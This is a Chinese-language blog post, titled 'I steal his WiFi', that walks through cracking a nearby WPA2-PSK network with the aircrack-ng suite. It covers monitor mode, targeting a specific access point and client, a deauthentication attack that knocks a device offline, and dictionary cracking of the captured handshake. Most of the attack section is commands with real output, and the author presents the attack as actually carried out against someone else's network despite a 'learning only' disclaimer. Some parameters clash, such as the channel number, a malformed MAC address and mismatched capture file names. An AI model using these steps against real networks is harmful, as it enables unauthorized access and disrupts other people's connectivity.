我偷他的网
我偷他的网
本文章仅作为技术学习交流,请不要随意拿邻居开刀。
提前准备
你需要如下材料
- 一个支持监听的无线网卡设备
- 一个强大的WiFi字典
- 一个有WiFi的地方
最近流量不够用了,想着偷个网试试,看了一下周边的WiFi布局。。

技术原理
WiFi认证
大家都知道WiFi大略是有四种支持格式的, 1、不启用安全 2、WEP 3、WPA/WPA2-PSK 4、WPA/WPA2 802.1X (radius认证) 一般我们设置的都是第三种。
WPA-PSK的认证过程

WPA-PSK认证四次握手认证的过程

WPA-PSK破解原理
用我们字典中的PSK+ssid先生成PMK(此步最耗时,是目前破解的瓶颈所在),然后结合握手包中的客户端MAC,AP的BSSID,A-NONCE,S-NONCE计算PTK,再加上原始的报文数据算出MIC并与AP发送的MIC比较,如果一致,那么该PSK就是密钥。
如图所示:

开偷
启动网卡
我这里使用的是Kali,插入无线网卡的时候请选择和虚拟机相连。
ifconfig-a /此命令查看所有网络设备器

wlan0的网卡设备。
接着使用命令,激活这张网卡,如果不回显则开启成功。
ifconfig wlan0 up
激活网卡为监听(monitor)模式
airmon-ng start wlan0

探测周围无线网络
我现在连接的是我自己的手机热点,插入无线网卡后开始嗅探周围的WIFI设备。
airodump-ng wlan0mon
查看周边路由AP的信息。
个人经验一般信号强度大于-70的可以进行破解,大于-60就最好了,小于-70的不稳定,信号比较弱。(信号强度的绝对值越小表示信号越强)

BSSID 以及 CH ,这两个值分别是WiFi唯一标识和信道。 建议选择 PWR 较小的WiFi,因为这意味着信号较好。
如果要弄懂这些参数都是什么,我贴两张网上的图:



选择要破解的WiFi,有针对性的进行抓握手包
airodump-ng wlan0mon -c 7 --bssid 14:75:90:9E:29:8E
其中的 -c 参数代表了信道号, --bssid 代表此WiFi的唯一标识。
执行后等待一会,输出结果如下:
fundamental CH 7 ][ Elapsed: 6 s ][ 2021-04-07 23:41
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
14:75:90:9E:29:8E -37 1 89 4294 299 11 270 WPA2 CCMP PSK 203
BSSID STATION PWR Rate Lost Frames Notes Probes
14:75:90:9E:29:8E 48:7D:2E:B3:04:DF -29 0 - 1e 0 7
14:75:90:9E:29:8E E0:DC:FF:DC:5A:89 -40 0 - 0e 817 4259
14:75:90:9E:29:8E 80:ED:2C:10:0D:8A -63 0 -24 0 2
14:75:90:9E:29:8E FA:83:C4:C0:8F:DF -60 0e-24 88 88
从这个输出结果我们可以分析到的数据:
- 当前连接此WiFi的设备有4台,以及每台设备的唯一标识,发包数等。 下面的四行也就代表了四台设备,我们需要记录
Lost有变化的设备标识,这里我们选择标识为E0:DC:FF:DC:5A:89的设备。
好的,目前我们掌握了几条有用的信息,如下: WiFi唯一标识14:75:90:9E:29:8E 连接WiFi的设备之一的标识E0:DC:FF:DC:5A:89 WiFi的信道11
监听握手包
下面我们需要根据以上信息进行抓包,尝试拿到包含密钥的握手包。
airodump-ng wlan0mon --bssid 14:75:90:9E:29:8E -c 11 -w 203
参数说明:-w 保存数据包的文件名 –c 信道 –bssid ap的mac地址 (注意test.cap会被重命名),也可以用其他工具抓包比如:wireshark、tcpdump,抓到握手包会有提示。
airodump-ng --ivs --bssid E6:9A:DC:79:7:EC -w longas -c 1 wlan0mon**
PS:我建议使用这条作为监听,–ivs 这里的设置是通过过滤,不再将所有的无线数据保存,而只是保存可用于破解的IVS数据报文,这样可以有效地缩减保存的数据包大小。如果按照第一个语句去监听,不过滤请求的话会有很多额外的请求,后续的图我将以这条语句作为演示。 监听的时候如果有设备登录成功就会抓到握手包,那么此时客户端不一定有会有登录的包发送给服务端,怎么样去抓到这个带有认证请求的包呢,很简单,强行使客户端断开即可。
执行断网攻击获得握手包
下面我们需要利用 Aireplay-ng 进行断网攻击,当用户重连WiFi时 Airodump-ng 应该就能拿到密钥的数据包了。
aireplay-ng wlan0mon -0 10 -a 14:75:90:9E:29:8E -c E0:DC:FF:DC:5A:89
这里的 -0 代表攻击次数,后面的10也就是攻击次数、 -a 代表要攻击的WiFi、 -c 代表要攻击的已连接WiFi的设备。
此命令的输出结果如下:
fundamental 23:55:26 Waiting for beacon frame (BSSID: 14:75:90:9E:29:8E) on channel 11
23:55:28 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [27| 1 ACKs]
23:55:29 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 3| 1 ACKs]
23:55:30 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 2| 6 ACKs]
23:55:32 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 8| 7 ACKs]
23:55:34 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 7| 7 ACKs]
23:55:36 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 7|14 ACKs]
23:55:39 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [34| 3 ACKs]
23:55:41 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [22| 6 ACKs]
23:55:43 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 5| 5 ACKs]
23:55:45 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [10| 6 ACKs]
如果这种方式多次失败,可以尝试去掉 -c 参数,进行范围打击,对每个设备都进行攻击,这样拿到加密包的机率也会有提升。
当 airodump-ng 那边提示拿到 WPA handshake 即代表拿到加密握手包,也就不需要断网攻击了。


CH 11 ][ Elapsed: 6 mins ][ 2021-04-08 00:05 ][ WPA handshake: 14:75:90:9E:29:8E
字典破解
下面我们通过准备的字典以及拿到的握手包进行暴力破解。 执行如下命令进行破解
aircrack-ng -w common.txt 203.ivs
-w 是我们的字典, 203-01.cap 是我们拿到的密钥握手包。
我这个运气不错,密码相对简单。


最后
请善待你的邻居,不要随意拿邻居开刀。